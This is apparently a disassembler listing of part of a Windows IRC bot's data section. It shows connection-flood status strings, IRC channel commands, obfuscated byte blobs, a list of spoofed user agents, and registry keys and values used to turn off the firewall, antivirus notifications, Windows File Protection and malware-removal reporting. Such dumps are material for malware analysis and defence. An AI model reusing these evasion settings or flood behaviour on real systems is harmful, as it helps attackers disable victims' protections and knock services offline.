aSCreatedProces db '%s Created process: "%s", PID: <%d>',0 ; DATA XREF: sub_4181F4+470o
; sub_4181F4+497o
aSSToCreateProc db '%s %s to create process: "%s", %s: <%d>',0 ; DATA XREF: sub_4181F4+404o
; sub_4181F4+435o
aSCouldnTParseP db '%s Couldn',27h,'t parse path, %s: <%d>',0 ; DATA XREF: sub_4181F4+32Do
; sub_4181F4+356o
align 4
aSSS_1fkbToS@_1 db '%s %s %s: %.1fKB to: %s @ %.1fKB/sec.',0 ; DATA XREF: sub_4181F4+252o
; sub_4181F4+2BAo
align 4
aSCouldnTOpenFi db '%s Couldn',27h,'t open file for writing: %s.',0
; DATA XREF: sub_4181F4+ACo
align 4
aSErrorOutOfMem db '%s Error: Out Of Mem!',0 ; DATA XREF: sub_418A0D+1B9o
align 4
aSSSDSentDConnS db '%s %s (%s:%d) Sent: (%d) conn(s) for (%d) sec(s)',0
; DATA XREF: sub_418A0D+12Bo
align 10h
aSSendingSDDC_0 db '%s -> Sending (%s:%d) (%d) conn(s) for (%d) sec(s)',0
; DATA XREF: sub_418A0D+A0o
align 4
aSSendingSDDCon db '%s -> Sending (%s:%d) (%d) connects(s) for (%d) sec(s)',0
; DATA XREF: sub_418A0D+73o
align 10h
aGx000032 db 'gx000032',0 ; DATA XREF: sub_418EDB+Co
align 4
a3c9 db ']&3c9',0 ; DATA XREF: sub_40A938+57C6o
; sub_40A938+895Do ...
word_443982 dw 1F99h ; DATA XREF: sub_4020AA:loc_402108r
; sub_406C3A:loc_406C89r ...
word_443984 dw 1704h ; DATA XREF: sub_40A938:loc_40C0C0r
word_443986 dw 46Ah ; DATA XREF: ?9:004018D8r
; sub_403B6C+121r ...
byte_443988 db 26h ; DATA XREF: sub_40A86F+2Fr
; sub_40A86F+83r ...
align 4
dword_44398C dd 14h ; sub_422394+3Cr
dword_443990 dd 2477664Fh, 6AA83178h, 0C07559h ; sub_406C3A+79o ...
dword_44399C dd 12727B5Bh, 0 ; sub_401B6E+132o ...
dword_4439A4 dd 6333265Dh, 6ACE7A39h, 0C3230Fh ; sub_40A938+89B2o ...
dword_4439B0 dd 296E616Dh, 64842364h, 57D66274h, 80F161D3h, 94724350h
; DATA XREF: sub_4051C0+114o
; sub_4164D0+29Fo ...
dd 228F8170h, 0
dword_4439CC dd 296E616Dh, 64842364h, 57D66274h, 80F161D3h, 94724350h
; DATA XREF: sub_4164D0+2B7o
; sub_42211B+59o
dd 228F8170h, 0
; ---------------------------------------------------------------------------
loc_4439E8: ; DATA XREF: sub_4164D0+2D1o
; sub_42211B:loc_4221AFo
jg short loc_443A50
popa
das
xor [si+6B64h], eax
db 64h
retf
; ---------------------------------------------------------------------------
db 47h
db 0CFh, 36h, 0C1h
; ---------------------------------------------------------------------------
locret_4439F7: ; CODE XREF: ?9:00443A4Ej
iret
; ---------------------------------------------------------------------------
dd 8F735876h, 3E85AE3Ch, 0BF819E04h, 6B45316Ch, 0E0012D37h
dd 40C62470h, 0DB3F5643h, 0CEBDA35Eh, 0D0C83555h, 8B38914h
dd 60318907h, 58EEE403h, 571696B2h, 8CDC5413h, 2 dup(0)
dword_443A38 dd 80000002h ; sub_427CE1+36r
dword_443A3C dd 19464769h, 1A5155Ch, 4AE85160h ; sub_422394+B3o ...
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_443A49: ; CODE XREF: ?9:00443A68j
xor ebx, ebp
pushf
push ecx
push ecx
jz short locret_4439F7
loc_443A50: ; CODE XREF: ?9:loc_4439E8j
inc eax
mov edx, 83143E83h
cdq
mov al, ds:3E74085Ch
push ss
cmp dl, [esi]
clc
insd
adc esi, eax
sbb al, 10h
imul edi, [eax], -24h
jno short loc_443A49
pushf
fimul word ptr [ecx+0]
; ---------------------------------------------------------------------------
dw 0
dd 32h dup(0)
db 3 dup(0)
byte_443B3B db 6Dh ; DATA XREF: sub_4164D0+287o
; sub_422394+ABo ...
dd 64296E61h, 74648423h, 8057D662h, 4A81DD02h, 70976F45h
dd 9888h, 0BDh dup(0)
dword_443E48 dd 2B666B0Ch, 7CC0603Bh, 12C33909h, 0DDD12099h, 0C935565Fh
; DATA XREF: sub_4164D0+38o
; sub_420399+229o
dd 65898C7Dh, 0E0888E41h, 2A033261h, 0
dword_443E6C dd 7B376C5Fh, 7C94376Ah, 129C390Fh, 0D9822396h, 0CA64010Fh
; DATA XREF: sub_40A938+A47o
; sub_4164D0+50o
dd 64DFD57Dh, 0E388DA13h, 7A533061h, 0
dword_443E90 dd 7C333A1Bh, 76C67739h, 1B95340Fh, 0DF817391h, 0C9310F07h
; DATA XREF: sub_4155B9+1o
; sub_4164D0+68o ...
dd 61D9DD25h, 8DB0CA42h, 621F6126h, 0A4477B24h, 5BC9073Ah
dd 0D863310Bh, 9EFDB718h, 90946704h, 5DE38C55h, 217AC45Ch
dd 4FB3AC05h, 1E4ED4E9h, 88816F5Bh, 293525C0h, 7F7749h
off_443EE0 dd offset dword_445D3C ; DATA XREF: sub_420399+1D1r
dd offset dword_445D34
dd offset dword_445D2C
dd offset dword_445D20
dd offset dword_445D14
dword_443EF4 dd 6D6519h ; sub_40A938+7C8o ...
off_443EF8 dd offset loc_415B67+1 ; DATA XREF: sub_4164D0+C1o
; sub_4209F2+52o ...
dword_443EFC dd 356D6519h, 0 ; sub_40A938+1D3Fo ...
dword_443F04 dd 3E6D6519h, 0 ; sub_4164D0+121o ...
dword_443F0C dd 266D6519h, 0 ; sub_40A938:loc_40BC2Co ...
dword_443F14 dd 3E6D6519h, 2 dup(0) ; sub_420399:loc_420502o ...
dword_443F20 dd 7D317059h ; sub_418EDB+607r
dd 6A993566h, 47C0684Bh, 8C9C32CEh, 5A51h, 22h dup(0)
db 3 dup(0)
byte_443FBF db 49h ; DATA XREF: sub_4164D0+170o
; sub_418EDB+5DAo
dd 6E3F636Dh, 4F258720h, 7Eh, 0
dword_443FD0 dd 0CE9h ; sub_40A938+4FFo ...
dword_443FD4 dd 0 dd 7C30705Ch, 77C6603Bh, 5ACD7A12h, 9DDD6FE9h, 59h, 22h dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
jmp loc_444099
; ---------------------------------------------------------------------------
align 10h
pop ebp
jno short near ptr byte_444101
and ah, [esi+35h]
cdq
push 4Bh
loc_444099: ; CODE XREF: ?9:00444088j
push 32CE47C0h
pushf
mov word ptr [ecx+5Ah], ss
; ---------------------------------------------------------------------------
dw 0
dd 17h dup(0)
db 0
byte_444101 db 3 dup(0) ; CODE XREF: ?9:00444091j
dd 0Ah dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
jmp loc_444151
; ---------------------------------------------------------------------------
align 4
pop ebp
xor es:26D96439h, dh
push ebp
loc_444151: ; CODE XREF: ?9:00444140j
ja short $+2
; ---------------------------------------------------------------------------
db 0
dd 24h dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
jmp loc_444209
; ---------------------------------------------------------------------------
align 10h
dd 7D313859h, 27D96573h
; ---------------------------------------------------------------------------
push ebx
loc_444209: ; CODE XREF: ?9:004441F8j
and eax, esi
inc eax
; ---------------------------------------------------------------------------
dd 24h dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
jmp loc_4442C1
; ---------------------------------------------------------------------------
align 4
dd 206D6759h, 27D9266Ch
; ---------------------------------------------------------------------------
push ebx
loc_4442C1: ; CODE XREF: ?9:004442B0j
and eax, esi
inc eax
; ---------------------------------------------------------------------------
dd 24h dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
jmp loc_444379
; ---------------------------------------------------------------------------
align 10h
dd 286C6D4Eh, 2A983C7Bh
; ---------------------------------------------------------------------------
pop ecx
loc_444379: ; CODE XREF: ?9:00444368j
and eax, ecx
inc edi
mov fs, word ptr [ebx]
ficomp word ptr [edx-6A96A4A5h]
jns short near ptr dword_4442C4+85h
mov large ds:0, dh
; ---------------------------------------------------------------------------
dd 20h dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
jmp loc_444431
; ---------------------------------------------------------------------------
align 4
dd 236F604Ah, 369E236Eh
; ---------------------------------------------------------------------------
pop ecx
loc_444431: ; CODE XREF: ?9:00444420j
and eax, ecx
inc edi
mov fs, word ptr [ebx]
ficomp word ptr [edx-6A96A4A5h]
jns short near ptr dword_44438C+75h
mov large ds:0, dh
; ---------------------------------------------------------------------------
dd 20h dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
jmp loc_4444E9
; ---------------------------------------------------------------------------
align 10h
dd 236F604Ah, 2398386Eh
; ---------------------------------------------------------------------------
push ebp
loc_4444E9: ; CODE XREF: ?9:004444D8j
arpl [ebx-2F903BB9h], cx
or dword ptr [ebx+52h], 6Ch
xchg eax, edx
jb short near ptr dword_444444+3Ah
les esi, [edx]
adc eax, 0
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 1Fh dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
jmp loc_4445A1
; ---------------------------------------------------------------------------
align 4
dd 3E6F6E4Fh, 2194357Bh
db 12h
; ---------------------------------------------------------------------------
loc_4445A1: ; CODE XREF: ?9:00444590j
push 2FD74CD1h
rol ecx, 50h
push edx
jz short $+2
; ---------------------------------------------------------------------------
dd 22h dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
jmp loc_444659
; ---------------------------------------------------------------------------
align 10h
dd 2B65604Eh, 29822664h
; ---------------------------------------------------------------------------
dec edi
loc_444659: ; CODE XREF: ?9:00444648j
and eax, edi
inc ecx
shr dword ptr [eax], cl
fmul qword ptr [ebx-67D1B0A5h]
jnb short near ptr dword_4445AC+3Ah
; ---------------------------------------------------------------------------
dw 0
dd 21h dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
jmp loc_444711
; ---------------------------------------------------------------------------
align 4
dd 7D317059h, 6A993566h
; ---------------------------------------------------------------------------
dec ebx
loc_444711: ; CODE XREF: ?9:00444700j
push 32CE47C0h
pushf
mov word ptr [ecx+5Ah], ss
; ---------------------------------------------------------------------------
dw 0
dd 22h dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
dd 0CECh, 0
dd 7C30705Ch, 77C6603Bh, 5ACD7A12h, 9DDD6FE9h, 59h, 22h dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
dd 0CECh, 0
aQnF5sjkhG2Mqz db ']qn"f5™jKhÀGÎ2œŒQZ',0
align 4
dd 22h dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
dd 0CECh, 0
dd 3530265Dh, 26D96439h, 7755h, 24h dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
dd 0CECh, 0
dd 7D313859h, 27D96573h, 40C62353h, 24h dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
dd 0CECh, 0
dd 206D6759h, 27D9266Ch, 40C62353h, 24h dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
dd 0CECh, 0
aNmlSYGoIxyI5 db 'Nml({<˜*Y#ÁGŽ#Þš[[i•yÈ5',0
align 4
dd 20h dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
dd 0CECh, 0
aJONU6yGoIxyI5 db 'J`o#n#ž6Y#ÁGŽ#Þš[[i•yÈ5',0
align 4
dd 20h dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
dd 0CECh, 0
dd 236F604Ah, 2398386Eh, 478B6355h, 83D06FC4h, 926C524Bh
dd 32C48872h, 15h, 20h dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
dd 0CECh, 0
dd 3E6F6E4Fh, 2194357Bh, 4CD16812h, 0C1C12FD7h, 745250h
dd 22h dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
dd 0CECh, 0
aNEDVOALO_ssa db 'N`e+d&‚)O#ÇAÓ(Ü‹[O.˜s€',0
align 10h
dd 21h dup(0)
dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
dd 0CECh, 0
dword_444EF0 dd 80000002h ; sub_418EDB+56r ...
dword_444EF4 dd 19464769h, 1A5155Ch, 4AE85160h, 9CDD33C3h, 0A7745151h
; DATA XREF: sub_4164D0+1B0o
; sub_418D49+149o ...
dd 3E83BA40h, 0A0998314h, 3E74085Ch, 0F8163A16h, 1CC6116Dh
dd 0DC386B10h, 0C39DDF71h, 93CD2F42h, 0CA4D134h, 7B379407h
dd 0F54Dh, 2Fh dup(0)
db 3 dup(0)
byte_444FF3 db 57h ; DATA XREF: sub_4164D0+1C7o
; sub_418D49+144o ...
dd 6522677Bh, 31h, 0C1h dup(0)
dword_445300 dd 80000002h ; sub_41BB45+ABr ...
dword_445304 dd 19464769h, 1A5155Ch, 4AE85160h, 9CDD33C3h, 0A7745151h
; DATA XREF: sub_4164D0+1DFo
; sub_41BB45+89o ...
dd 3E83BA40h, 0A0998314h, 3E74085Ch, 0F8163A16h, 1CC6116Dh
dd 0DC386B10h, 0C39DDF71h, 93CD2F42h, 0CA4D134h, 7B379407h
dd 0F54Dh, 2Fh dup(0)
db 3 dup(0)
byte_445403 db 48h ; DATA XREF: sub_4164D0+1F7o
; sub_41BB45+83o ...
dd 3D756Dh, 0C2h dup(0)
dword_445710 dd 80000002h ; sub_427AFB+89r ...
dword_445714 dd 19464769h, 1A5155Ch, 4AE85160h, 9CDD33C3h, 0A7745151h
; DATA XREF: sub_4164D0+20Fo
; sub_427AFB+13o ...
dd 3E83BA40h, 0A0998314h, 3E74085Ch, 0F8163A16h, 1CC6116Dh
dd 0DC386B10h, 0C39DDF71h, 93CD2F42h, 0CA4D134h, 7B379407h
dd 0F54Dh, 2Fh dup(0)
db 3 dup(0)
byte_445813 db 53h ; DATA XREF: sub_4164D0+227o
; sub_427AFB+Co ...
dd 66247466h, 31h, 0C1h dup(0)
dword_445B20 dd 32314B77h, 425A3046h, 2F616C70h, 0 ; sub_420CC8+Co
dword_445B30 dd 4D787073h, 2F472F72h, 30494276h, 0 ; sub_41CAFB+187o
dword_445B40 dd 526E322Fh, 704B2E75h, 2F784E4Bh, 0 ; sub_41CAFB+1A5o
a7lybp1gunfm0 db '7LybP1GuNfm0',0 ; DATA XREF: sub_4155B9+27o
; sub_41C7EB+184o
align 10h
a391myLxl28_ db '391mY/LxL28.',0 ; DATA XREF: sub_4155B9+32o
; sub_41C7EB+1ACo
align 10h
a5h5br_qpSm1 db '5H5BR.qp/sm1',0 ; DATA XREF: sub_4155B9+3Do
; sub_41CAFB+82o ...
align 10h
aYjmlc1btsf10_0 db 'yJmlc1btsF10',0 ; DATA XREF: sub_4155B9+48o
; sub_41CAFB+94o ...
align 10h
aZyvgp1mxobt0_0 db 'zyVGp1MxObt0',0 ; DATA XREF: sub_4155B9+53o
; sub_41CAFB:loc_41CC00o ...
align 10h
aG7IvGks9l1_0 db 'g7/IV/gks9L1',0 ; DATA XREF: sub_4155B9+61o
; sub_41CAFB+DFo ...
align 10h
aTugnf_mqsdr0_0 db 'TuGNF.mQSDR0',0 ; DATA XREF: sub_4155B9+6Co
; sub_41C7EB+198o ...
align 10h
aBwIj0rhpgj1 db 'bw/Ij0rhPgj1',0 ; DATA XREF: sub_4155B9+77o
; sub_420CC8+2Eo
align 10h
aFuv1h_fi8sc db 'FuV1H.fi8SC/',0 ; DATA XREF: sub_4155B9+82o
; sub_420CC8+42o
align 10h
aLcxMHdpwr1 db 'lCX/m/HdpWr1',0 ; DATA XREF: sub_4155B9+8Do
; sub_41D04A+1Ao ...
align 10h
aVozbg0sssom1 db 'vozbG0sSsoM1',0 ; DATA XREF: sub_4155B9+98o
; sub_41C9EE+3Co ...
align 10h
aKc4l5_savs3_ db 'KC4L5.sAVS3.',0 ; DATA XREF: sub_4155B9+A3o
; sub_41CE5F+Fo ...
align 10h
aWk12f0zbpla db 'wK12F0ZBpla/',0 ; DATA XREF: sub_4155B9+AEo
align 10h
aSpxmrGVbi0 db 'spxMr/G/vBI0',0 ; DATA XREF: sub_4155B9+BCo
; sub_42630C+54o
align 10h
a2nru_kpknx db '/2nRu.KpKNx/',0 ; DATA XREF: sub_4155B9+C7o
; sub_42630C+60o
align 10h
a7lybp1gunfm0_0 db '7LybP1GuNfm0',0 ; DATA XREF: sub_4155B9+D2o
; sub_426402+93o
align 10h
a391myLxl28__0 db '391mY/LxL28.',0 ; DATA XREF: sub_4155B9+DDo
; sub_426402+F0o
align 10h
a5h5br_qpSm1_0 db '5H5BR.qp/sm1',0 ; DATA XREF: sub_40A938+36C8o
; sub_40A938+36F3o ...
align 10h
aYjmlc1btsf10 db 'yJmlc1btsF10',0 ; DATA XREF: sub_40A938+320Fo
; sub_40A938+372Fo ...
align 10h
aZyvgp1mxobt0 db 'zyVGp1MxObt0',0 ; DATA XREF: sub_40A938+2C79o
; sub_40A938+2F18o ...
align 10h
aG7IvGks9l1 db 'g7/IV/gks9L1',0 ; DATA XREF: sub_40A938+307Eo
; sub_40A938+31B5o ...
align 10h
aTugnf_mqsdr0 db 'TuGNF.mQSDR0',0 ; DATA XREF: sub_40A938+31E8o
; sub_40A938+37DFo ...
align 10h
aBwIj0rhpgj1_0 db 'bw/Ij0rhPgj1',0 ; DATA XREF: sub_4155B9+122o
align 10h
aFuv1h_fi8sc_0 db 'FuV1H.fi8SC/',0 ; DATA XREF: sub_4155B9+12Do
align 10h
aLcxMHdpwr1_0 db 'lCX/m/HdpWr1',0 ; DATA XREF: sub_40A938+364Do
; sub_4155B9+138o
align 10h
aVozbg0sssom1_0 db 'vozbG0sSsoM1',0 ; DATA XREF: sub_4155B9+143o
align 10h
aKc4l5_savs3__0 db 'KC4L5.sAVS3.',0 ; DATA XREF: sub_4155B9+14Eo
align 10h
dword_445D00 dd 16h ; sub_40A938+53Er ...
dword_445D04 dd 5 ; sub_420399+1BEr ...
dword_445D08 dd 10h dd offset byte_454A34
dd offset byte_454A34
dword_445D14 dd 0D2A2910h, 6AC77A3Bh, 0Chdword_445D20 dd 0D2A2910h, 6AC17A3Dh, 0Ahdword_445D2C dd 0D2A2910h, 3Bhdword_445D34 dd 0D2A2910h, 897E75hdword_445D3C dd 0D2A2910h, 32967A21h, 0dword_445D48 dd 255C7325h, 73h ; sub_420399+3D3o ...
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_418D49+2Ao
; sub_434CA0+24o
aSoftwarePoli_0 db 'SOFTWARE\Policies\Microsoft\MRT',0 ; DATA XREF: sub_418EDB+527o
aDontreportinfe db 'DontReportInfectionInformation',0 ; DATA XREF: sub_418EDB+522o
align 4
aFirewalloverri db 'FirewallOverride',0 ; DATA XREF: sub_418EDB+511o
align 10h
aFirewalldisabl db 'FirewallDisableNotify',0 ; DATA XREF: sub_418EDB+500o
align 4
aAntivirusoverr db 'AntiVirusOverride',0 ; DATA XREF: sub_418EDB+4ECo
align 4
aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Security Center',0 ; DATA XREF: sub_418EDB+4E0o
; sub_418EDB+4F1o ...
align 10h
aAntivirusdisab db 'AntiVirusDisableNotify',0 ; DATA XREF: sub_418EDB+4DBo
align 4
aSystemContro_0 db 'SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPol'
; DATA XREF: sub_418EDB+4AAo
; sub_418EDB+4BEo ...
db 'icy\DomainProfile',0
align 4
aDisablenotific db 'DisableNotifications',0 ; DATA XREF: sub_418EDB+494o
; sub_418EDB+4CAo
align 4
aDonotallowexce db 'DoNotAllowExceptions',0 ; DATA XREF: sub_418EDB+483o
; sub_418EDB+4B9o
align 10h
aSystemControls db 'SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPol'
; DATA XREF: sub_418EDB+477o
; sub_418EDB+488o ...
db 'icy\StandardProfile',0
align 4
aEnablefirewall db 'EnableFirewall',0 ; DATA XREF: sub_418EDB+472o
; sub_418EDB+4A5o
align 4
aSystemCurren_3 db 'SYSTEM\CurrentControlSet\Services\NetBT\Parameters',0
; DATA XREF: sub_418EDB+463o
align 4
aTransportbindn db 'TransportBindName',0 ; DATA XREF: sub_418EDB+45Eo
align 10h
aDevice db '\Device\',0 ; DATA XREF: sub_418EDB+459o
align 4
aAutosharewks db 'AutoShareWks',0 ; DATA XREF: sub_418EDB+448o
align 4
aAutoshareserve db 'AutoShareServer',0 ; DATA XREF: sub_418EDB+437o
aSfcscan db 'SFCScan',0 ; DATA XREF: sub_418EDB+426o
aSoftwarePolici db 'Software\Policies\Microsoft\Windows NT\Windows File Protection',0
; DATA XREF: sub_418EDB+417o
; sub_418EDB+42Bo
align 4
aSfcdisable db 'SFCDisable',0 ; DATA XREF: sub_418EDB+412o
align 10h
aSystemCurren_2 db 'SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters',0
; DATA XREF: sub_418EDB+405o
; sub_418EDB+43Co ...
align 4
aSizreqbuf db 'SizReqBuf',0 ; DATA XREF: sub_418EDB+400o
align 4
aMaxconnectio_0 db 'MaxConnectionsPerServer',0 ; DATA XREF: sub_418EDB+3E7o
aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Internet Settings',0
; DATA XREF: sub_418EDB+3D3o
; sub_418EDB+3ECo
aMaxconnections db 'MaxConnectionsPer1_0Server',0 ; DATA XREF: sub_418EDB+3CEo
align 4
aSystemCurren_1 db 'SYSTEM\CurrentControlSet\Services\Afd\Parameters',0
; DATA XREF: sub_418EDB+3BBo
align 4
aDisablerawsecu db 'DisableRawSecurity',0 ; DATA XREF: sub_418EDB+3B6o
align 10h
aTcpnumconnecti db 'TcpNumConnections',0 ; DATA XREF: sub_418EDB+3A9o
; sub_418EDB+553o
align 4
aAllowuserrawac db 'AllowUserRawAccess',0 ; DATA XREF: sub_418EDB+398o
align 4
aLargebuffersiz db 'LargeBufferSize',0 ; DATA XREF: sub_418EDB+38Bo
aTcpmaxdupacks db 'TcpMaxDupAcks',0 ; DATA XREF: sub_418EDB+377o
align 4
aDefaultttl db 'DefaultTTL',0 ; DATA XREF: sub_418EDB+369o
align 4
aSackopts db 'SackOpts',0 ; DATA XREF: sub_418EDB+35Bo
align 10h
aEnablepmtubhde db 'EnablePMTUBHDetect',0 ; DATA XREF: sub_418EDB+34Eo
align 4
aEnablepmtudisc db 'EnablePMTUDiscovery',0 ; DATA XREF: sub_418EDB+33Eo
aTcpwindowsize db 'TcpWindowSize',0 ; DATA XREF: sub_418EDB+331o
align 4
aGlobalmaxtcpwi db 'GlobalMaxTcpWindowSize',0 ; DATA XREF: sub_418EDB+320o
align 10h
aTcp1323opts db 'Tcp1323Opts',0 ; DATA XREF: sub_418EDB+30Fo
aStricttimewait db 'StrictTimeWaitSeqCheck',0 ; DATA XREF: sub_418EDB+2FFo
align 4
aTcptimedwaitde db 'TcpTimedWaitDelay',0 ; DATA XREF: sub_418EDB+2F2o
align 4
aMaxuserport db 'MaxUserPort',0 ; DATA XREF: sub_418EDB+2E4o
aSystemCurren_0 db 'SYSTEM\CurrentControlSet\Services\Tcpip\Parameters',0
; DATA XREF: sub_418EDB+2DFo
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control',0 ; DATA XREF: sub_418EDB+2CFo
align 4
aWaittokillserv db 'WaitToKillServiceT',0 ; DATA XREF: sub_418EDB+2C5o
align 10h
a5000 db '5000',0 ; DATA XREF: sub_418EDB+2C0o
align 4
aBan db 'ban',0 ; DATA XREF: sub_418EDB+2B5o
aRModeChanB1 db 'r MODE $chan +b $1',0 ; DATA XREF: sub_418EDB+2B0o
align 10h
aHalfop db 'halfop',0 ; DATA XREF: sub_418EDB+2A3o
align 4
aRModeChanH1 db 'r MODE $chan +h $1',0 ; DATA XREF: sub_418EDB+29Eo
align 4
aVoice db 'voice',0 ; DATA XREF: sub_418EDB+294o
align 4
aRModeChanV1 db 'r MODE $chan +v $1',0 ; DATA XREF: sub_418EDB+28Fo
align 4
aOps db 'ops',0 ; DATA XREF: sub_418EDB+285o
aRModeChanO1 db 'r MODE $chan +o $1',0 ; DATA XREF: sub_418EDB+280o
align 10h
aCtc2 db 'ctc2',0 ; DATA XREF: sub_418EDB+276o
align 4
aR1_ db 'r $1 :.',0 ; DATA XREF: sub_418EDB+271o
off_4462B0 dd offset byte_637463 ; DATA XREF: sub_418EDB+267o
aRPrivmsg1_ db 'r PRIVMSG $1 :.',0 ; DATA XREF: sub_418EDB+262o
aSlap db 'slap',0 ; DATA XREF: sub_418EDB+258o
align 4
aRPrivmsg1Slaps db 'r PRIVMSG $1 slaps for You!!',0 ; DATA XREF: sub_418EDB+253o
align 4
aSlaps db 'slaps',0 ; DATA XREF: sub_418EDB+249o
align 4
aRPrivmsg1GodDa db 'r PRIVMSG $1 god damnit,hard bitchslaps for you!!',0
; DATA XREF: sub_418EDB+244o
align 4
dword_446328 dd 69614D02h, 6E65746Eh, 65636E61h, 2off_446338 dd offset aFastWebcrawler ; DATA XREF: ?9:0041A09Dr
; ?9:0041A0A6r ...
; "FAST-WebCrawler/3.8 (atw-crawler at fas"...
dd offset aGooglebot2_0Ht ; "Googlebot/2.0 (+http://www.googlebot.co"...
dd offset aLynx2_8_4rel_1 ; "Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1"...
dd offset aGooglebot2_1Ht ; "Googlebot/2.1 (+http://www.googlebot.co"...
dd offset aMicrosoftWebda ; "Microsoft-WebDAV-MiniRedir/5.1.2600"
dd offset aGooglebot2_0_0 ; "Googlebot/2.0 (http://www.google.com/bo"...
dd offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 4.01; Win"...
dd offset aGooglebot2_1_0 ; "Googlebot/2.1 (http://www.google.com/bo"...
dd offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE 4.01; Win"...
dd offset aGooglebot1_9Ht ; "Googlebot/1.9 (http://www.google.com/to"...
dd offset aMozilla4_0Co_1 ; "Mozilla/4.0 (compatible; MSIE 5.0; Wind"...
dd offset aGooglebot1_9_1 ; "Googlebot/1.9.1 (http://www.google.com/"...
dd offset aMozilla4_0Co_2 ; "Mozilla/4.0 (compatible; MSIE 5.5; Wind"...
dd offset aMozilla4_0Co_3 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"...
dd offset aMozilla4_0Co_4 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"...
dd offset aMozilla4_0Co_5 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"...
dd offset aMozilla4_0Co_6 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"...
dd offset aMozilla4_0Co_7 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"...
dd offset aMozilla4_0Co_8 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"...
dd offset aMozilla4_0Co_9 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"...
dd offset aMozilla4_0C_10 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"...
dd offset aMozilla5_0Comp ; "Mozilla/5.0 (compatible; MSIE 6.0; Wind"...
dd offset aMozilla5_0Co_0 ; "Mozilla/5.0 (compatible; MSIE 6.0; Wind"...
dd offset aMozilla5_0Co_1 ; "Mozilla/5.0 (compatible; MSIE 6.0; Wind"...
dd offset aMozilla5_0Co_2 ; "Mozilla/5.0 (compatible; MSIE 6.0; Wind"...
dd offset aMozilla5_0Co_3 ; "Mozilla/5.0 (compatible; MSIE 6.0; Wind"...
dd offset aMozilla5_0Co_4 ; "Mozilla/5.0 compatible ZyBorg/1.0 (wn.z"...
dd offset aMozilla4_75En ; "Mozilla/4.75 [en]"
dd offset aMozilla5_0Slur ; "Mozilla/5.0 (Slurp/cat; slurp@inktomi.c"...
dd offset aMozilla5_0Sl_0 ; "Mozilla/5.0 (Slurp/si; slurp@inktomi.co"...
dd offset aMozilla5_0Wind ; "Mozilla/5.0 (Windows; U; Windows NT 5.0"...
dd offset aMozilla5_0Wi_0 ; "Mozilla/5.0 (Windows; U; Windows NT 5.0"...
dd offset aMozilla5_0Wi_1 ; "Mozilla/5.0 (Windows; U; Windows NT 5.2"...
dd offset aMozilla5_0X11U ; "Mozilla/5.0 (X11; U; FreeBSD i386; en-U"...
dd offset aScooter3_2 ; "Scooter/3.2"
dd offset aWget1_8 ; "Wget/1.8"
dd offset aMozilla5_0X1_0 ; "Mozilla/5.0 (X11; U; openSuSe i686; SMP"...
dd offset aWget2_0 ; "Wget/2.0"
dd offset aMozilla5_0X1_1 ; "Mozilla/5.0 (X11; U; Ubuntu i386; en-US"...
dd offset aWget21 ; "Wget/2,1"
dd offset aMozilla5_0X1_2 ; "Mozilla/5.0 (X11; U; Ubuntu i386; en-US"...
dd offset dword_4463E4
dd 0
dword_4463E4 dd 73797870h, 392E312Fh, 342EhaMozilla5_0X1_2 db 'Mozilla/5.0 (X11; U; Ubuntu i386; en-US; rv:1.7.5) Gecko/20080112'
; DATA XREF: ?9:004463D8o
db 0
align 4
aWget21 db 'Wget/2,1',0 ; DATA XREF: ?9:004463D4o
align 10h
aMozilla5_0X1_1 db 'Mozilla/5.0 (X11; U; Ubuntu i386; en-US; rv:1.7) Gecko/20060502',0
; DATA XREF: ?9:004463D0o
aWget2_0 db 'Wget/2.0',0 ; DATA XREF: ?9:004463CCo
align 10h
